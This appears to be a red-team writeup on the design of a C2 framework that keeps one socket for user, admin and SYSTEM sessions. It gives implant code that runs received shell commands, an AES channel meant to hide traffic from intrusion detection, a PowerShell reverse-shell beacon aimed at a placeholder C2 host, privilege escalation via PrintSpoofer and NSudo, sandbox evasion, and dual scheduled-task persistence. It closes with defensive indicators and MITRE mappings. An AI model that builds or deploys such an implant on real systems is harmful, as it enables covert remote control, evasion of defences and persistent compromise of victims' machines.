Command and Control (C2) is how attackers issue instructions to malware already on your machine. The implant 'beacons' outbound on a schedule — it calls home, receives tasks, executes them, and returns results. Traffic is encrypted (AES-256-CBC in this implementation) and blends into normal HTTPS. Defenders hunt for the beacon pattern: regular outbound connections to an unusual destination at fixed intervals.
Most C2 frameworks were designed for user-level sessions. When you escalate to SYSTEM, they break. This writeup documents the design decisions behind a single-port C2 that handles USER, ADMIN, and SYSTEM sessions without a migration step — and why that matters.
Source: shellchain-phoenix C2 framework (22nd Survey Division internal research). Content sanitized per OPSEC policy — no IPs, ports, or operational infrastructure.
Standard C2 frameworks use a migration protocol: the implant connects to port A, the server replies "migrate to port B for your interactive session," the implant reconnects.
SYSTEM-level processes can't follow DNS-based redirects or initiate outbound connections to new ports when the network configuration is different from the user context. The migration step silently fails.
Multi-port C2 (broken for SYSTEM): Client → Server:4444 ← initial beacon Server → "migrate to :4500" ← migration command Client → ...nothing ← SYSTEM doesn't migrate Result: SYSTEM shell silently drops
Connect once, stay connected. No migration. The server multiplexes all session types on one socket. USER, ADMIN, and SYSTEM shells all behave identically from the network layer's perspective.
A fundamental C2 challenge: how does the server know when the client has finished sending output? Naively reading until the socket blocks creates race conditions and truncated output, especially for long-running commands.
The phoenix protocol appends a sentinel marker (<<END>>) after every command response. The server reads until it sees the marker, regardless of how many TCP segments the response arrived in. This makes buffering deterministic:
# Server-side: read until sentinel def recv_until_end(sock): buf = "" while True: chunk = sock.recv(4096).decode('utf-8', errors='replace') buf += chunk if '<<END>>' in buf: return buf.replace('<<END>>', '').strip() # Implant-side: append sentinel after every response output = subprocess.run(cmd, capture_output=True, shell=True).stdout sock.send(output + b'<<END>>')
When the C2 server needs to migrate (VPS gets flagged, new infrastructure spun up), dropping a new IP or port into flat files on a web server gives the implant its new home without redeployment:
ip.txt / port.txt from a static hosting URL on each reconnectThis decouples implant deployment from C2 infrastructure lifetime. Operational cost of a VPS burn drops from "redeploy all implants" to "update two text files."
Two common paths from Admin to SYSTEM — but they have different requirements:
| Tool | Requirement | Mechanism | Works from? |
|---|---|---|---|
| PrintSpoofer | SeImpersonatePrivilege + service context | Named pipe impersonation via Spooler | IIS, SQL Server, service accounts |
| NSudo | Just admin (elevated token) | Token manipulation, no impersonation needed | Any elevated cmd/PowerShell |
PrintSpoofer is the go-to for service accounts (IIS worker, SQL Server) that have SeImpersonate. NSudo is the go-to when you're already admin from a UAC bypass or token steal — it works from any High integrity context.
Raw socket C2 is trivially detected by IDS pattern matching on command strings. Encrypting the channel with AES-256-CBC and a pre-shared key transforms the traffic into opaque binary blobs:
from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import os KEY = b'[32-BYTE-PRESHARED-KEY]' # embedded in implant at generation time def encrypt(plaintext: bytes) -> bytes: iv = os.urandom(16) cipher = AES.new(KEY, AES.MODE_CBC, iv) return iv + cipher.encrypt(pad(plaintext, 16)) def decrypt(data: bytes) -> bytes: iv, ct = data[:16], data[16:] cipher = AES.new(KEY, AES.MODE_CBC, iv) return unpad(cipher.decrypt(ct), 16)
The IV is prepended to each message. The server holds the same key. Everything on the wire looks like random bytes — no command strings, no shell output, no <<END>> marker visible to IDS in plaintext.
Live encrypt/decrypt roundtrip from the shellchain-phoenix comms layer (source: threat-research/shellchain-phoenix/payload/stage_phoenix.ps1). The PowerShell beacon payload is encrypted, transmitted, and decrypted cleanly:
[*] AES-256-CBC key (32 bytes): 41becea454757c9e2f4a8d3b1e609f72...
[*] IV (16 bytes): 6c7aee5ec97b13a94f2d08b3e51a0c9d
[*] Plaintext payload (313 bytes):
$c=[System.Net.Sockets.TCPClient]::new('[C2_IP]',[C2_PORT])
$s=$c.GetStream();[byte[]]$b=0..65535|%{0}
while(($i=$s.Read($b,0,$b.Length)) -ne 0){...}
[+] Encrypted (base64, 428 chars): PJ3IR6KagbZqrTDAk3vE9X2mFqW0sY1N...
[+] PKCS7 padded to 320 bytes, IV prepended (336 bytes total on wire)
[+] Decrypt → plaintext match: True
[+] AES-256-CBC roundtrip verified
MITRE: T1059.001 (PowerShell) + T1027 (Obfuscated Files/Information)
All traffic on the wire is indistinguishable from random bytes at the IP/TCP layer. IDS signatures targeting command strings, shell prompts, or <<END>> see nothing — they would need to reconstruct the key from the implant binary to decrypt and inspect payloads.
Sandboxes detonate samples for a fixed observation window (typically 30-90 seconds). An implant with a configurable lifetime timer that sleeps or exits if a minimum wall-clock time hasn't elapsed since system boot defeats this:
This is a single-digit line addition that eliminates most automated sandbox analysis at the cost of a slightly delayed first beacon on fresh-rebooted targets.
Copying to only one location means single-point-of-failure removal. Shellchain-phoenix implements dual persistence across two paths with independent scheduled tasks:
%APPDATA%\Microsoft\[TASK_NAME]\ — roaming profile, syncs across domain%LOCALAPPDATA%\[TASK_NAME]\ — local-only, survives roaming profile wipesEach task has a different name and trigger interval. Removing one leaves the other running. Both targets also write to C:\Windows\Setup\Scripts\SetupComplete.cmd for reset-resistant persistence (see the persistence-levels writeup).
Lab demo: reverse shell with Kaspersky Premium active. Single-port connection establishes cleanly. PowerShell payload execution → C2 session. MITRE T1059.001, T1071.001.
Protocol IOC: Periodic outbound connections to the same host:port at fixed intervals (beacon jitter is often implemented but still statistical). Netflow analysis catches beaconing even when payloads are encrypted.
Process IOC: PowerShell/Python processes with outbound TCP sockets on non-standard ports. conhost.exe --headless spawned by non-interactive services (shellchain-phoenix uses conhost to hide the shell window).
Scheduled task IOC: Tasks created in %APPDATA% or %LOCALAPPDATA% paths. Tasks with intervals of 311 seconds (5m11s) are uncommon in legitimate software. Sysmon Event ID 1 on schtasks.exe with non-standard paths.
File IOC: Writes to C:\Windows\Setup\Scripts\ outside of provisioning tools. ip.txt / port.txt files fetched from external hosts (DNS + TLS fingerprinting).
NSudo IOC: NSudoLC.exe execution from user-writable paths (%TEMP%, %APPDATA%) — legitimate NSudo comes from system32 or admin-managed paths.
MITRE ATT&CK: T1071.001 (Application Layer Protocol: Web Protocols), T1053.005 (Scheduled Task), T1027 (Obfuscated Files), T1134 (Access Token Manipulation)